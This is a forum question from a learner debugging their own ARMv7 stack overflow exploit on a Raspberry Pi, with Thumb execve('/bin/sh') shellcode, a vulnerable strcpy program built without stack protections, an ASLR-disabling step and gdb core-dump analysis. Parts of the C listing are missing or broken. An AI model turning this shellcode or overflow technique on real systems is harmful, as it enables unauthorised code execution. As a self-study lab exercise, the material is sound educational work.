I am trying to write a stack overflow exploit for ARM Cortex-A72 running Raspberry Pi OS (32-bit). Because of my choice of OS, I am restricted to the ARMv7 (32-bit) instruction set.

I have been largely following the tutorials on ARM exploit development written by Azeria Labs. However, I am struggling to correctly complete the attack described in the return-to-libc tutorial (FWIW, the program.c source is defined elsewhere). This question is intended to be self-contained thus it is not necessary to follow those links. Indeed, while that tutorial was my starting point, I have since made a number of simplifications in the hope of getting the exploit to work. Namely,

  • The shellcode is no longer an argument to the program, it is defined within main and passed to an auxiliary function (see below);

  • I no longer jump to libc, instead I am using the starting stack address of my shellcode.

In this question, I will focus on my simplified program without the libc or argument-passing aspects of the original tutorial. I will pose my question before presenting the details of my problem. Then I will give a detailed summary of my own attempts to solve the issue, and any resources I have consulted along the way.

My central question: What can I do to make further useful progress on getting my exploit to work?

Problem Specifics

The Setup

First of all, I have disabled ASLR by editing /proc/sys/kernel/randomize_va_space, replacing 2 with 0.

and by compiling exploit.c with:

gcc exploit.c -o exploit -z execstack -fno-stack-protector -no-pie

so I should be getting consistent stack addresses on subsequent executions; borne out by my observations.

Debugging stack overflow exploits using gdb is difficult due to the differences in environment and program variables (affecting stack addresses) as described on this exchange as well as a couple others. Instead of directly debugging with gdb, I analyse core files with gdb. I have manually instrumented the exploit to help with debugging.

The Code

The shellcode shelly.s is as follows:

        .section .text
        .global _start
        @@ Our shellcode is 32 bytes and ends with the starting stack
        @@ address of this code.
        .code 32
        add r3, pc, #1
        bx r3

        .code 16
        add r0, pc, #8
        sub r1,r1
        sub r2,r2
        strb r2, [r0, #7]
        mov r7, #11
        svc #1

        .ascii "/bin/shX"
        .word 0xbefffd9c

which hard-codes the address (0xbefffd9c) corresponding to the start of our shellcode. I found this address by debugging the core dumps. From shelly.s I generate a string:

$ as shelly.s -o shelly.o
$ ld -N shelly.o -o shelly
$ objcopy -O binary shelly shelly.bin
$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shelly.bin

with output:


which goes into my exploit.c program:

#include <stdio.h>
#include <string.h>

void foo(char *s)
  char buffer[24];
  strcpy(buffer, s);
  __asm__("sub r8, fp, #4"); // for finding the shellcode stack address

int main(void)
  unsigned char shellcode[] =

  return 0;

An additional assembly instruction was included to save the state of the stack pointer just before popping the frame and return addresses off the stack. By debugging core dumps of this program, I was able to compute that 0xbefffd9c is the starting address of my shellcode. I have kept this instruction in the source to assist with debugging core dumps.

The Execution

I execute the above program using env - ./exploit producing Illegal instruction (core dumped).

Note: I also tried ./exploit directly but this produced Segmentation fault (core dumped) and the respective core files differ in a non-obvious way; both have the same value in R8 and the shellcode appears in the expected location. For this question, I want to focus on the env-augmented execution above since that better controls for environment effects.

Inspecting the core with GDB ( (with GEF extension) we get:

Core was generated by `./program2'.
Program terminated with signal SIGILL, Illegal instruction.
#0  0xbefffdb4 in ?? ()
gef>  info registers
r0             0xbefffd78          0xbefffd78
r1             0xbefffdbd          0xbefffdbd
r2             0x0                 0x0
r3             0x0                 0x0
r4             0x10488             0x10488
r5             0x0                 0x0
r6             0x1ebfff7d          0x1ebfff7d
r7             0x0                 0x0
r8             0xbefffd90          0xbefffd90
r9             0x0                 0x0
r10            0xb6fff000          0xb6fff000
r11            0x5868732f          0x5868732f
r12            0xbefffd78          0xbefffd78
sp             0x0                 0x0
lr             0x0                 0x0
pc             0xbefffdb4          0xbefffdb4
cpsr           0xa8000010          0xa8000010
fpscr          0x0                 0x0
gef> x/12x $r8
0xbefffd90: 0x5868732f  0xbefffd9c  0xb6fdd500  0xe28f3001
0xbefffda0: 0xe12fff13  0x1a49a002  0x71c21a92  0xdf01270b
0xbefffdb0: 0x6e69622f  0x5868732f  0xbefffd9c  0x00000000
gef>  x/i 0xbefffd9c
   0xbefffd9c:  add r3, pc, #1
gef>  disas foo
Dump of assembler code for function foo:
   0x00010408 <+0>:     push {r11, lr}
   0x0001040c <+4>:     add r11, sp, #4
   0x00010410 <+8>:     sub sp, sp, #32
   0x00010414 <+12>:    str r0, [r11, #-32] ; 0xffffffe0
   0x00010418 <+16>:    sub r3, r11, #28
   0x0001041c <+20>:    ldr r1, [r11, #-32] ; 0xffffffe0
   0x00010420 <+24>:    mov r0, r3
   0x00010424 <+28>:    bl  0x102e8 <strcpy@plt>
   0x00010428 <+32>:    sub r8, r11, #4
   0x0001042c <+36>:    nop         ; (mov r0, r0)
   0x00010430 <+40>:    sub sp, r11, #4
   0x00010434 <+44>:    pop {r11, pc}

and I am not sure how the pc manages to become 0xbefffdb4 since it should be executing my shellcode after foo+44 places 0xbefffd9c into the pc register.

My understanding of the stack immediately after foo+32:

^higher addresses^
|       .        | \
|       .        |  \
|       .        |   |
|   0x1a49a002   |   |`main` frame
|   0xe12fff13   |   | 
|   0xe28f3001   |  / <--- start of shellcode
|   0xb6fdd500   | / <--- junk value (extra space added by compiler)
|   0xbefffd9c   | Return Address
|   0x5868732f   | Frame Pointer
|   0x6e69622f   | \
|   0xdf01270b   |  \
|   0x71c21a92   |   | foo's frame
|      ...       |  /
|   buffer[24]   | /
|                |/

Additional Research

A comment by @perror on this answer had me thinking that overwriting the frame pointer with 0x5868732f could be an issue. However, modifying the shellcode to insert 0xbefffd9c for both frame and return address did not solve the problem. In fact, I gained an additional error as the first instruction of my shellcode was decremented by 1; the instruction add r3, pc, #1 with hex 0xe28f3001 became 0xe28f3000.

I have been able to execute other people's shellcode. Namely, Jonathan 'dummys' Borgeaud's 34byte ARM shellcode, located here: http://shell-storm.org/shellcode/files/shellcode-904.php. However, attempts to morph his code into mine proved unsuccessful.


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.